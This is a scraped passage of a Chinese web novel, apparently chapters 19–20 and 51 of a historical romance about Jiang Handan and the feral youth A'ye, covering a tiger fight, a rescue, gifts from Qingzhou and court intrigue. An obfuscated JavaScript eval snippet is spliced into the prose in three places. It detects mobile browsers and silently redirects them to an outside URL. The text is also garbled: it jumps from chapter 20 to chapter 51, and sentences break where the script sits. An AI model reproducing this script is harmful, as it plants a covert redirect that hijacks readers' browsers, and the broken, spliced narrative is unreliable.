眼见他已经抓住靴筒准备如法炮制,为了保住自己的靴子,姜菡萏急忙按住他的手:“我自己来!” “……”阿夜松开手。 他们的手上都没有覆着厚厚的皮毛,光裸的肌肤碰着肌肤,这种触感真是奇妙,一直残留在他手背上。 姜菡萏脱了靴子:“看,没有流血,没事。” 阿夜皱眉,人类穿得很多,他看不到她的脚,只看到一层雪白的袜子。 袜子可比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532533|170825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靴子好脱得多,他一上手就扯开了袜带,底下的白绫长裤像水一样温软,而比白绫更温软的是她的小腿,白生生的一截,柔婉的线条收束到脚腕,细细的仿佛一折就能断。 但脚踝处的皮肤却已经肿起来,并且发红了。 姜菡萏本已经捂着脸倒在兽皮上,决定小死片刻。 但指缝里看到阿夜愈发紧皱的眉头,她抬头一瞧,才发现右腿伤得比自己想象的严重。 她最了解自己的身体了。 在这方面她连阿夜一根指头都比不上,小病秧子受了伤,接下来就是发烧,没有药,撑不过三天。 三天后她就会是一具尸体。 她的脸白了。 阿夜忽然低下头,在她脚踝上舔了一口。 “你你你干什么啊?!” 姜菡萏受了惊,猛地收回脚,扯到伤处,登时疼得整张脸都皱起来。 “啊啊……”阿夜试图解释,他和他的同伴们都这样,受伤了就舔舔,舔舔会好很多。 “你走开一点!”姜菡萏面孔涨得通红,她知道阿夜根本没有坏心,可是那样的碰触实在太过了…… 这是阿夜第二次看到姜菡萏这样生气。 第一次是对着那个打伤他的驯兽师。 他连连后退,直抵山壁,眼中充满担忧。 她太小太脆弱。狼群中的幼狼一定会被保护在最中央,因为它们一旦受伤就很难活下来。 他不想失去她。不想她死。 她在这里,就是他的同伴。 他只有她一个同伴了。 他看了看姜菡萏,又看了看山洞外,蓦地,像是下定了某种决心般,他站起来:“啊啊。” 说完,他跃上洞口大石,身影消失在黑暗中。 姜菡萏:“……” 这次的“啊啊”是什么意思? 说清楚再走啊! * 一整晚,阿夜都没有回来。 洞外隐隐约约传来野兽的吼叫声,但因为洞里的火光,它们不敢靠近,只敢在洞外徘徊。 姜菡萏一晚上都紧紧握着那根被她当成拐杖的树枝。 反正不管谁来吃她,都要先受她一棒。 天快亮的时候,阿夜终于回来了。 姜菡萏从来没觉得他这么英俊过,要不是腿脚不便,差点儿想扑在他身上。 深山老林,看到同类的感觉原来这样好——而且还是个强大的同类! 强大的同类带着一身的血腥气进来,他来得并不轻松,手里仿佛拖着什么重物。 因为进来的时候背对着姜菡萏,姜菡萏看到了他背上多了一道爪痕。 那不是妻子同丈夫打架挠出来的指印,那是五道鲜红的、深可见骨的伤痕。 姜菡萏吃惊——这是什么东西留下的伤?五条爪痕几乎占满阿夜的背脊。 下一刻,一道重物轰然落在她面前,火焰贴着地面,几乎伏灭。 姜菡萏睁大了眼睛,睁到滚圆。 那是一只猛虎。 硕大的虎头正对着她,斑斓的花纹在额头形成一个“王”字,虎目圆睁,仿佛下一瞬就会张开嘴,一口咬下她的脑袋。 “啊。”阿夜掰开老虎的脖颈,上面露出一个血洞,鲜血正从里面汩汩而出。他用力“啊”了一声,示意她快喝。 姜菡萏:“…………” 最强壮的猎物能带来最多的滋补,其中鲜血是最好的。 阿夜见她呆呆不动,以为她已经虚弱到无法自己喝,他伸手鞠起一捧,送到姜菡萏面前。 浓重的腥气扑面而来,旁边还有一颗巨大的虎头死不瞑目。 姜菡萏看看身边的老虎,再看看眼前的冒着热气的鲜血,熬了一晚上的她受不了这样的冲击,两眼一翻,非常干脆地晕了过去。 19. 第 19 章 姜菡萏醒来时,外面天色阴沉,不知什么时辰。 她睁开眼睛就看到阿夜。 阿夜好像一直守在旁边,漆黑的眼睛一眨不眨地盯着她,见她醒来,紧绷的神情终于放松下来。 姜菡萏心想他的眼神看上去好像以为她要死掉。 然后就看见阿夜转头捧出一碗浓稠的虎血,一脸严肃地送到她面前:“啊啊。” 姜菡萏:“……” 等等! 姜菡萏的眼睛猛然瞪大了。 “你哪来的碗?!” 碗是粗瓷的,边缘还有小小的崩口,能在西山盖别院皆是权贵,不可能有这种碗。 “啊啊,啊——啊,啊啊。” 阿夜放下碗,指着山洞外,四肢着地比划着跑动的姿势,又站起来,做出翻墙的动作,然后抱着头奔跑。 姜菡萏大概看懂了——他跑了很远,找到人家,翻墙入内,找到碗,被发现了,喊打喊杀,他抱头而逃。 山洞里除了碗,还有筷子,还多了一只陶瓮,里面装着清水。 正好姜菡萏带的小水壶早喝完了。 她后知后觉,才瞧见自己身上盖着被子,蓝地白花的粗布,虽粗糙但松软。 再看洞口,甚至还有一扇门板挡风。 “……” 难怪人家喊打喊杀,你这是把人家家里搬空了吗?! “给我水。”姜菡萏指了指陶瓮,喉头有些干渴。 阿夜马上换了一只碗,舀了水。 水冰凉,但也没什么好讲究的,姜菡萏一口气喝完。 然后那碗虎血又一次送到她面前。 这血放冷了,腥气比之前更重,姜菡萏脸都皱起来了。 就在这个时候,阿夜忽然转脸望向洞外,眉眼锋利无比,眼神森冷。 姜菡萏侧耳听了听,只听到风声。 但阿夜已经起身,无声地跃上洞口大石,然后跃下。 几乎是同时,洞外响起一道咆哮。 姜菡萏从来没有听过这样的声响——恢宏、深沉、响亮,像来自山林深处的钟声,能震散人的魂魄。 她马上搁下碗,爬起来,扒在门板边上,看见了一头老虎。 之前那头老虎还躺在山洞里,她本来以为它已经够大的了,可眼前这头比它更大,威武高大如同山神。 和它缠斗的阿夜身形在少年里头已经算足够高挑,此时就像一只跟老鹰对峙的小鸡崽。 它应该是闻见了山洞内同类的血气,仰天狂吼一声,扑向阿夜。 这样凶猛的力道即使阿夜也不敢面对面硬扛,他敏捷地腾挪闪避,偶尔踹上老虎一脚。 姜菡萏不敢想象那一脚的力量有多大,老虎都后退了两步,但也因此被激出凶性,张牙怒吼,重重一掌拍在阿夜身上。 洞口透出去的火光映着阿夜背脊上,伤口的血本已止住,但还没有结痂,腥红而狰狞。 这正是伤口最脆弱的时候,一拍之下,伤口裂开,鲜血迸出来。 姜菡萏的心脏快要跳出胸膛,下意识乱转的视线忽然落在她挖出来的那堆硫磺石上。 阿夜的动作明显迟缓了,老虎又一掌下来,他差点没躲过,但生死关头感觉不到痛,只觉得背上发麻。 他在猎杀之前那只老虎的时候没想到它还有同伴,不然他应该做几个陷阱——就像人类做的那样。 可是现在后悔已经来不及了,他的背后也有他的同伴。 “嗷!” 他发出一声狼嚎,冲向老虎。 “阿夜,让开!” 姜菡萏大喊。 只要姜菡萏的指令他听得懂,那么就像是天生会执行似的,脑子还没想明白为什么,身体已经闪向侧边。 一团火焰从洞口飞出,化成数道淡蓝色的光芒,带着一股刺鼻的气味,正中老虎的脑袋。 野兽基本都怕火,但像老虎这样巨型体格的除外,它看向蓝色火焰时甚至还有点好奇,直到被砸在身上,烧伤的刺痛才让他怒吼了一声,倒是紧跟着爆散开来的浓烈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532534|170825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气味让它为之却步。 野兽的鼻子极度灵敏,阿夜也被那味道呛着了。 但这是一个绝好的机会,阿夜一跃而起,连带用身体的重量,一个肘击,重重捶在老虎的背脊上。 老虎仰头,虎啸震天,树叶簌簌而落。 背脊是老虎的弱点,它用尽一切办法想把阿夜甩下来,四处冲撞,树木倒下一大片。 阿夜骑在虎背上,一拳,又一拳。 老虎挣扎的动作越来越小,最终瘫在地上,不再动弹。 阿夜确认老虎没有了呼吸才停手,他摇摇晃晃从虎背上下来,回到山洞。 姜菡萏看到他骑过的地方一片鲜红,那是他背上流的血染红的,再看看他的背脊,血肉翻卷模糊,血流不止。 “阿夜,趴下。”姜菡萏的声音微微颤抖,“你得上药……” “啊啊。”阿夜弯腰拿起一只空碗,摇摇晃晃去接了一碗虎血,带回来送到姜菡萏面前。 “啊。” 他的脸上半是汗水,半是血水,凌乱的长发糊在颊边,神情却是轻快而欣喜的,好像在告诉她,又有热腾腾的血喝了。 姜菡萏没有办法拒绝,接过来,一咬牙,在阿夜期待的目光下,仰起头灌进喉咙里。 “上药。” 阿夜高兴地盘腿在她面前坐下。 姜菡萏一边上药,一边发抖。 “阿夜,药不够了,你得跟我回去。” “……”阿夜听懂了,缓缓摇头。 动作很慢,但很坚定。 “你可能不喜欢待在屋子里,但你得去看大夫,没有大夫你这伤根本治不好,这点药膏——” 姜菡萏的话还没说完,嘴忽然被阿夜捂住。 阿夜侧耳倾听,神情凝重。 姜菡萏睁大眼睛——难道还有老虎来?!他是捅了老虎窝吗? 但很快她发现不是。 风里传来衣袂之声,还有说话声。 “看,方才的动静应该就是这里了。” 20. 第 20 章 有人就好! 不管是哥哥的人还是风曜的人,都会把她带回去。 姜菡萏想拉下阿夜的手,拉不动,只有拼命扭头眨眼,示意他松开。 可阿夜不仅没有松,眼神里反而多了一丝惊恐。 他迅速把姜菡萏单手抱起,一只手仍然捂着她的嘴,直接钻进山洞深处。 深处无数岔数枝枝蔓蔓,越走越暗,外面的声音也越来越模糊。 “……呵,这大虫,难怪折腾出这么大动静。” “没有利器伤,这是活活被捶死的,难道还有比这大虫更厉害的猛兽?” “若是猛兽,怎么没有撕咬的痕迹?” “也许是某种吃草的野兽,个子大,力气大,但没爪牙。” 姜菡萏听明白了,这两人不是来找她的,而是单纯被虎啸声吸引来。 “无事便好,我们可以回去覆命了。” “等等,为什么有硫磺的味道……还是烧过的硫磺……” “那边好像有扇门!” 他们发现了山洞。 紧跟着,尽头亮起微光,他们点燃了火折子,显然准备找人。 阿夜抱着姜菡萏,不断后退。 不要过来。 不要把她带走。 姜菡萏感觉得到他的紧张,轻轻摸了摸他的头。 来的是什么人都行,现在的大央,姜家仍然可以横着走,只要给出足够的赏赐,无论是谁都会送她回家。 那头,有人道:“这里头和矿洞很像,也许是某条支路的出口。” 另一人道:“可是师兄,师父说过,这里面的矿洞不知是哪朝留下的,里面复杂如蛛网,进去了很容易出不来。躲到这里来的人,多半是逃犯,咱们让山卫来查吧。” “那些山卫也不知是干什么吃的,竟然让人溜进来……咱们要是能把这只老鼠捉住,师父一定会奖赏我们——” 此时姜菡萏忽然听见了一声沉闷的响动,像雷声。 大冬天的,怎么会打雷? 外面的人当然听得更清楚,本来还在争执的两人立刻道:“师父开炉了,快,快回去!” 开炉? 姜菡萏心中微微一动。 火光很快消失。 阿夜的耳朵贴在山壁上,确认外面真的没有人了,这才松开手。 “你躲起来做什么呀!”姜菡萏一得自由,借着山壁支撑自己,“我得带你出去,我们要回别院看大夫!” 阿夜不知听没听懂,也不答话,直接像那天一样把姜菡萏捞了起来,挟在肋下,大步准备回山洞。 必须快点。 快点换个山洞。 这里已经被人类发现,不再安全了。 “放我下来!放我——” 姜菡萏没能把话说完,方才那碗勉强灌下去的虎血本来就一直在胃里翻腾,此时这个姿势一挟,顿时往上涌。 “呕——” 阿夜恐慌地放下她,让她靠着山壁,姜菡萏本来就有点昏沉,这么一吐更是眼冒金星。 阿夜手足无措,想碰又不敢碰,想去弄碗虎血,又发现她吐出来的就是。 他想起了她喝时的抗拒,忽然间意识到,这可能不是她的药。 虎血救不了她。 留在这里她可能会死。 每一个念头转过,阿夜的身体就僵硬一分。 姜菡吐得七晕八素,太阳穴“卟卟”直跳,她没有注意到阿夜的反应。 只是她自己的身体自己清楚,不单阿夜的伤需要大夫,她也需要。 但阿夜好像很抗拒,该怎么做才能让他—— 脑子还没转完,阿夜忽然凑近,一手托在她膝弯,一手绕过她的肩头,轻轻把她抱了起来。 小心翼翼,好像端着一碗生怕洒出来的汤水。 姜菡萏下意识想挣扎,奈何一动弹腿便钻心地疼,骂他又听不懂,推他则更如蚂蚁撼树,更要命的是,她现在浑身无力,腿又伤着,根本不可能自己走。 方才事出紧急没想那么多,这会儿只剩两人了,姜菡萏的脸莫名开始发烫。 明明已经穿得很厚了,她还是觉得自己能感觉到他身上的热意——他上身又不穿衣裳的! 阿夜对山洞内的道路好像很熟悉,脚下毫不迟疑,直接回到洞口。 姜菡萏以为他会把她放回兽皮上,但是他没有。 他直接踢开那块门板,抱着姜菡萏离开了山洞。 他闭上眼睛,仰起脸,深深吸嗅,好像能从风中无数气味里嗅出自己想要的答案。 他很快确定了方向,开始奔跑。 他的脚步很快,也很稳。 姜菡萏靠在他怀里,稳稳当当地,有丝讶然:“阿夜,你是要和我回家吗?” 阿夜没有低头,专注看着前方:“啊。” 姜菡萏很高兴:“乖。” 两边树影风一样朝后掠去,姜菡萏的视野变得开阔,这里不知是西山的哪一座山峰,周遭没有人迹…… 等等,视线一闪而过,在远处的山谷里好像有一座巍峨道观。 姜菡萏终于知道这是哪儿了。 自古高人炼丹要选福德洁净之地、清静无为之所,远离人烟,丹室也要隔绝红尘,在山林道观内尤佳。 承德帝继位后,册封虞仙芝为国师,将西山最深处的三座山峰封给了虞仙芝,并为虞仙芝修筑通天观。 为了让虞仙芝能够潜心炼丹,不受外界打扰,承德帝还派出一支军队镇守三山,不单百姓无法靠近,连王公贵族都不得踏足半步。 没想到穿过那复杂的地下矿洞,居然会走到通天观的地盘……难怪无论是哥哥还是风曜都找不到她。 之前那道雷声般的响动,应该就是来自通天观——难道虞仙芝炸炉了? 阿夜中途停下,再一次吸嗅,靠鼻子辨认出方向,继续翻山越岭。 也许是因为他的怀抱太暖太稳当,姜菡萏觉得脑子有些晕荡,想睡觉。 她靠在了阿夜肩上。 这是阿夜的肩膀第一次迎来她的依靠,发丝柔软而奇异的触感不同于以往任何一位同伴的毛发,她合上了眼睛,鼻息触到他的颈间,那一小块地方开始发烫。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532535|170825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 阿夜猛地停下,轻轻把她放在地上,学着她曾经对他的样子,摸了摸她的额头,然后再摸了摸自己的。 她的更热。 就像他躺在山洞里等死的那几天一样热。 这片山林他和他的族人曾经待过很长一段时间,他知道山林间游荡着一群人类,不分昼夜地巡逻驻守。 他们手里有火把,有刀,有弓箭。 很可怕。 但只有把她送到人类手里,她才能活。 阿夜重新抱起姜菡萏,加快了脚步。 不知过了多久,姜菡萏昏昏沉沉听到人声,睁开了眼睛。 天色已经开始昏暗,阿夜抱着她奔跑在山间,前方有火把的亮光,还有铠甲和兵刃的反光,还有争吵的声音。 “我是姜祯!我妹妹是大央未来的皇后!莫说一座西山,便是整个天下她也有一份!都给我闪开,今天不把西山每一寸地皮揭开我就不姓姜!” “姜家嫡女失踪,性命危在旦夕,这座山本王一定要进,你们让开!” 山卫将领的声音恭敬却沉稳:“若是旁的事情,殿下但有所命,末将必定遵从。但要进山,要么有圣旨,要么有观中人来迎,否则——” 将领一指身边的界碑,上面刻着的是御笔:擅闯三山者杀无赦。 姜祯气得跳脚:“好,好,有本事你就把我和三殿下一块儿杀了!” “什么人?!” 被选入山卫的皆非等闲之辈,阿夜快到近前的时候,山卫调转了刀锋。 天地间暮色四合,火把猎猎作响,所有人都看到一个高大的少年赤着上身,怀里抱着一名少女。 少女身上裹着厚厚的狐裘,在他怀里像是一捧晶莹的雪。 “妹妹!”姜祯大喊。 “是哥哥!”姜菡萏欣喜,“阿夜,快!” “拿下!”将领喝命。 可阿夜太快了,快得就像一阵风,山卫们的刀劈了个空,阿夜抱着姜菡萏闯过界碑,冲到姜祯面前。 府兵和暗卫冲到面前,抵挡杀过来的山卫。 “哥——” “不用说话,什么都不用说,”姜祯紧紧握着妹妹的手,“这狼人好样的,知道把你带过来,走,哥哥带你回家——” 去他的什么山卫,去他的什么界碑,有本事追他到姜家! 府兵们人数不如山卫多,硬闯做不到,拦路绊脚却不成问题,山卫们一时追不上来,阿夜抱着姜菡萏,转身就要下山。 忽然间身后传来箭矢破空的声响,阿夜急急避闪,因为要护着怀里的姜菡萏,动作慢了一瞬,箭尖扎进肩膀。 阿夜在剧痛之下向前栽,用尽全身力气才稳住。 “风曜你有病啊!”姜祯大骂。 姜菡萏朝后望过去,风曜从箭壶中抽出第二支箭,上弦。 他身后的羽林卫也齐齐张弓,一时间,箭尖全部对准了阿夜,望过去一片寒光闪闪。 火把飘忽的光芒将风曜的脸映得半明半暗,亮的那一半染着火光,像是染着血。 “擅闯三山者,杀无赦,此乃圣命。” 50-60 第51章 第51章菡萏,我回来了 这些礼物的来历郭俊自然清楚。 阿夜不方便露面,这些礼物本就是经由郭俊之手送给阿夜的。 庆州有一名豪客,表面是商人,实则是匪首。他包下了城中税收,除了需要上缴朝廷的赋税之外,自己任意定税,对往来客商及庆州百姓诸般盘剥,庆州上下苦此人久矣,给他取了个外号叫“鬼见愁”。 阿夜来到庆州的第十天,鬼见愁派人来收“行留税”。 所谓“行留税”,是指过往人客,即便不做买卖,只要在庆州停留十天以上,便要交税。 郭俊当时觉得入乡随俗,交便交了。 但阿夜不允。 “这些钱都是菡萏的,为什么要交给别人?” 阿夜将收税的人全轰了出去。 这下惹恼了鬼见愁,当天夜里,他们所住的客栈被人放了一把火。 阿夜的鼻子比野兽还要灵敏,更何况身边还有一头狼,一人一狼几乎是在他们到来的同时就觉察到了。 火势刚刚燃起,很快就被熄灭,那帮放火的人一个也没能跑掉,差点全死在阿夜刀下。 之所以没死,是因为郭俊极力阻拦。 郭俊把他们捆起来送到官府,请知府林大任裁决。 林大任将他们全部打入大牢。 结果第二天,郭俊就看到这些原本应该待在狱中的人再一次耀武扬威地走在街上收税。 一问之下才知道,鬼见愁交了钱,把他们赎出来了。 承德帝骄奢淫逸,为满足他的胃口,全国上下的官员上任之后的第一要务就是搞钱,但凡能为皇帝搞到钱的,一律平步青云。所以朝廷卖官,地方卖罪。 朝廷原用以钱赎罪的旧例,但并非每项罪都能赎。而在庆州,任何罪名都可以明码标价,只要能交钱,一律放还。 林大任正是凭着这门搞钱的手艺,一路从一名偏远小县的县令升到庆州知府的。 至于“包税”之法,倒并非他的发明,举国上下诸多地方都这么做的,几乎每一座城里都有一名“鬼见愁”。 鬼见愁破了财,自然要找阿夜报复,当夜带着近百人包围了客栈。 当时阿夜手边有府兵十人,账房一人,工匠八人。客栈老板和其它客人跪着求他们搬走,莫要让他的客栈陪葬。 郭俊于心不忍,阿夜没有理会,他带上府兵直接杀了出去。 那一夜的客栈外血流成河,鬼见愁人头落地——他绝对没有想到自己会为几十两行留税丢了小命。 从此庆州的格局为之一改,众人虽然都在眼馋鬼见愁包税的丰厚收入,但谁也不知道接下来会发生什么,因此都在观望。 百姓倒是得了一线喘息之机,至少那些名目繁多的杂税可以暂时缓一缓了。 这个时候,林大任带着庆州乡绅敲锣打鼓来客栈找阿夜,说是感谢阿夜为民除害。 阿夜没有出面,由郭俊与他们周旋。 郭俊带回来大大小小成堆的礼物,其中一份十分特殊,是林大任的妹妹所送。 就是这对珠钗。 林大任的妹妹林知春,是庆州著名的才女。 据说当初林大任之所以用全部家财换了一张不记名官凭,由商转政,就是因为妹妹的建议。 而那个时候林知春才不过十一二岁。 而今林知春年方十八,生得温柔娴雅。她在众人走了之后翩翩而至,送上一对珠钗。 “郎君威名传遍了庆州,整个庆州的百姓都对郎君感恩戴德。我兄长受制于那恶徒多年,一直身不由己。而今托郎君洪福,我兄长终于能为百姓做点事情。知春小小女子,不识礼数,这对珠钗是昔年名匠所制,知春福薄,不配使用,愿赠予郎君家眷。” 郭俊转述了这番话,阿夜听完,问:“家眷是什么?” “就是家人亲属,多指妻子。”郭俊说,“她可能在试探你有没有成婚。” “成婚……”阿夜若有所思,在所有礼物中,拿起了那对珠钗。 珠钗现在就躺在姜菡萏的掌心中,是一对振翅欲飞的蝴蝶样式,以金银镂身,镶嵌珍珠,蝴蝶的翅膀还能微微颤动,看上去十分轻盈。 这对珠钗放在姜菡萏的珠宝匣子里也不算逊色,可见林家是拿出了极大诚意。 姜菡萏想,一定是“家眷”两个字让阿夜想起了她。她在阿夜心里,可不就是家人? “这个呢?”姜菡萏指着那支骨笛。 “这是一位北疆来的客商,货物被人扣留,听说阿夜杀了鬼见愁,便求到阿夜跟前。阿夜帮他拿回了货物,他拿出货物中的三成作为谢礼,并送给阿夜这支骨笛。” 郭俊道,“据那位客商所说,这支骨笛是他从一位北狄神官手中换来的,是用大雁的腿骨所制。大雁是最为忠贞的鸟,一生只有一个伴侣,伴侣死后,大雁绝不独活。所以这支笛子吹响,哪怕隔着千山万水,相思之意也能传达给心中所思念的人。” 姜菡萏没想到这支看起来如此阴森的笛子,竟然这般多情。 “这尊来自西域的奇异神像,金玉为雕,嵌满宝石,是一名异域商人所送,据说日常以鲜花清水供奉,可以保佑人们远离邪祟与噩梦,身心康健。” 姜菡萏是会做噩梦的。清醒的时候知道自己已经开启新生,睡着以后却总会回到上一世,坠入无边的杀戮与血腥中。 阿夜在 她窗外守夜,一定不止一次听见她从噩梦中惊叫着醒来。 姜菡萏拿起那尊佛像,心里面一片柔软。 余下的各样东西,差不多都是这样的来历,那些她原本看不懂的用途,一一在郭俊的解释下点破迷津——它们要么是能安神,要么是能赐福,要么是拥有美丽多情的传说。 姜菡萏仿佛可以看见阿夜在成堆的礼物里专注挑选的模样。 以她的身份地位,她几乎是要什么有什么,什么也不缺。 可是有人仔细挑选每一件她可能用得上的东西,这种感觉还是太暖心了。 她打开阿夜的第三封信。 这封信摸着就挺厚,但不算太长,“开蒙”才几个月的阿夜,确实也写不了太长。 信显得厚,是因为里面有一张园林图。 “菡萏: 见字如晤。 有一个北疆的商人,在庆州经营多年,他觉得庆州越来越乱,决定举家搬回北疆。 他把他的园子送给了我。 我画了一张图,给你看。” 郭俊从旁解释:“这座园子曾经被鬼见愁霸占,鬼见愁死后,富商才取回家产,园子带不走,短期内也不好脱手,索性送给阿夜作人情。” 姜菡萏打开那张图纸,图纸折了又折,展开后有一尺见方,上面小桥流水,亭台楼阁,每一处都标明了用途。 比如,兵器库、校场、将作坊、甲衣库、号舍、马厩、厨房、大厅…… 还有一些屋子,写的是人名。 阿夜、郭俊……还有一些姜菡萏眼生的名字,大概是在庆州投奔阿夜的人。 然后,姜菡萏在一间屋子上方看到了自己的名字。 屋子外面的空白处,写着“荷池”二字。 “我准备在这里挖一口池塘,种上荷花,到时候你可以来住。 这间屋子没有遮挡,阳光最好,还可以搭个琉璃花房,种月下徊。 我找到了一个做糖的师傅,他做的玫瑰糖跟月下徊的很像,只是很可惜,只是像。 阿糖到处捡骨头吃,吃得很胖,长得越来越像狗了。你见到它一定认不出来。它的族人看见,一定会嫌弃它。 菡萏,天气暖了,你的生辰快到了,可还有什么想杀的人吗? 阿夜敬上” 姜菡萏看信时嘴角一直含着笑,心里面暖暖的,柔柔的,像是有春天的微风吹过。 直到看到最后一句:“……” * 郭俊带着姜菡萏的回信走了,和他一同离开的还有第一批的一百名府兵。 一千名府兵将会分成十批,分散开来,从各个方向离开梁州,绕路前往庆州。 山谷少了一半人,往日的拥挤不再。 而且选人的时候姜菡萏就发现了,府兵们似乎以投入阿夜麾下为荣,为了抢夺去庆州的名额,好几人不惜大打出手。 最终郭俊决定以一对一比试的方式选拔,胜的人去庆州,输的人留在梁州。 毕竟庆州是虎狼之地,去了就是真刀真枪作战,而梁州有姜家作靠山,每日只须操练。 被选上的人兴高采烈,落选的人决定奋发图强。 姜菡萏原以为人少了山谷会安静一些,结果校场那边的号声越发热烈了。 这点倒是出乎姜菡萏的意料。 顾晚章眼见这种情形,一日向姜菡萏道:“庆州现在有人有钱,阿夜又有威望,若是有一天他起了二心,我们恐怕没有手段制衡他。” 单风一听来劲了,自告奋勇:“小姐,你也给我点人手,我去找个地方,帮你盘下一座城来。到时阿夜若是不老实,我就灭了他。” 姜菡萏心说阿夜志不在天下,但未来的陛下您可未必,钱和银子给了你,立马就不姓姜了。 不过顾晚章和单风的话给她提了个醒,既然梁州和庆州可以,那么其它的州有什么不可以? 她可以将兵力悄悄散布在京城周围各州府,这样,一旦有什么风吹草动,她可以多方策应——实在不行,还能多方跑路呢。 经过这么长时间的经营,顾晚章手里的不记名官凭已经给出去了十几张。 这十几张官凭,就是她散出去的星星之火。 她回了一趟京城,跟哥哥商量,借姜家的力量帮助这些人擢升,让他们能以最快的速度升到更重要的位置。 同时开始挑选第三个养兵之处。 还没等这一处定下来,东宫出事了。 这一日的大朝会上,太傅周勤上书直指太子风明言行悖逆,私藏龙袍,有不臣之心。 此言一出,满朝哗然。 人人都知道太子年纪尚小,身体又弱,一向行规蹈矩,甚至有点懦弱。谁上这样一封折子,大家都不会相信,偏偏上书的人是太子的老师。 著名的贤王风曜肩上的伤还未好清,便站出来替弟弟求情,指责周勤空口无凭,污蔑太子。 周勤拿出风明平日所写信件,其中果然有许多大逆不道之词。风明甚至提到若不是当年那场雪崩,承德帝根本没有机会登上皇位,还说承德帝德不配位,必有灾殃。 承德帝多年来不曾听过这样的真话,被扎得眼冒金星,大发雷霆,让人彻底搜查东宫。 姜祯顶着个王爷的名头,平时只有大朝会时会去乾正殿站站班,基本也就是站着发发呆而已,今日碰上这等大事,他立刻心急火燎派郑灵给姜菡萏送信。 郑灵着急忙慌跑进来的时候,姜菡萏正在试单珠送来的新式胭脂。 新胭脂只不过是借口,主要是为了和未来的长公主多相处。 周勤告发太子谋逆,皇帝命彻查东宫——这个消息让单珠一下子抬起头,目光紧紧盯在姜菡萏脸上。 不过失态只有这么片刻,单珠很快垂下了眼睛,继续整理胭脂盒子。 “知道了。”姜菡萏道,“告诉哥哥,他想怎么干就怎么干,什么也不用顾忌。” 郑灵呆了呆,家主的脾性他还不知道吗?家主这会儿肯定想打死周勤。 但小姐既然发了话,郑灵也只能回去复命。 “请恕我多句嘴,”单珠开口道,“小姐上次在照月阁找周公子,是否与今日之事有关?” 姜菡萏拈着胭脂:“阿珠姐姐觉得有关吗?” “小姐后来还让我劝说清晓陪伴周公子出京,为了这事,我可着实是得罪了家主大人。” 姜菡萏笑了:“谁让清晓姑娘只听阿珠姐姐的话?我只能拜托阿珠姐姐啦。至于我哥哥……别理他,他对女孩子下不了手,最多见了你哼哼一声罢了。” 这话看似答了,其实什么也没说。单珠沉吟片刻,放下胭脂,起身走到姜菡萏面前,跪下。 姜菡萏:“姐姐这是做什么?” “民女斗胆,向小姐坦白一事。”单珠沉声道,“民女与弟弟并不姓单,而是姓许,而今镇海指挥使许崇义,正是民女与弟弟的父亲。我原名许南珠,弟弟原名许南风,单诚乃是我父亲的旧部,弃伍从商,无意中听闻小姐打听我父亲,我父亲惊惧不安,所以派我们姐弟前来,看看是否有何处怠慢过姜家,也好将功折罪。” 姜菡萏没有想到她会突然坦白。 不过这坦白也有点水分,单诚明显不是“旧部”,而是一直为许崇义办事。 但许南珠这么说也在情理之中,毕竟总不能直接说“单诚是替我爹在京中 打探消息的”,一名边将为何要打探京中消息?若是深究起来可是大事。 “啪”地一声从门外传来,单风,不,许南风呆呆站在门口。 他手里原本端着一盘桃子,那是镇海送来的贡果,姜菡萏本是让人取来给许南珠尝尝家乡风味的,许南风大约是正好路过听说姐姐过来的消息,顺手接了下人的差事。 “阿风,过来给小姐赔罪。”许南珠道,“望小姐见谅,我们并非有意欺瞒,实在是生怕许家有得罪姜家之处,所以不敢自陈身份。” 许南风进来,在许南珠身边跪下。脸色变了又变,一会儿苍白,一会儿发红,满面愧疚,不敢看姜菡萏的眼睛。 他想过要说,却又一直不敢说。 小姐这样信任他,这样待他好,他却连身份都骗了她。 姜菡萏忍住想去扶起这未来帝王的冲动,拿起绢子,掩口做出努力做出惊讶之色,问道:“那怎么现在又愿意说了?” “一来,我听闻小姐愿意让阿风领兵历练,如此厚待,让我们姐弟诚惶诚恐,愧疚难安;二来,小姐秀外慧中,连宫中贵人、朝中大臣都在小姐的料算之中,我们姐弟俩的这点小小心思,如何瞒得过小姐的眼睛?不如早些挑明,也好表诚意——那位清晓姑娘之所以听我的劝,是因为,她曾经受过我母亲的恩惠,如果小姐还有什么事情要她去做,民女亦可代为传达。” 竟然连清晓都是许家的人! 这点姜菡萏着实没料到,脸上的惊异是实打实的,不用做样子。 心中只觉得,这许崇义真不愧是乱世枭雄。 许南珠道:“我与小姐相交多日,阿风更是蒙小姐看重,委以重任,实在不敢再欺瞒小姐,今日据实以告,若是许家当真有不可饶恕的错处,我与阿风愿意听凭小姐处置,家父亦不会有任何怨言。” 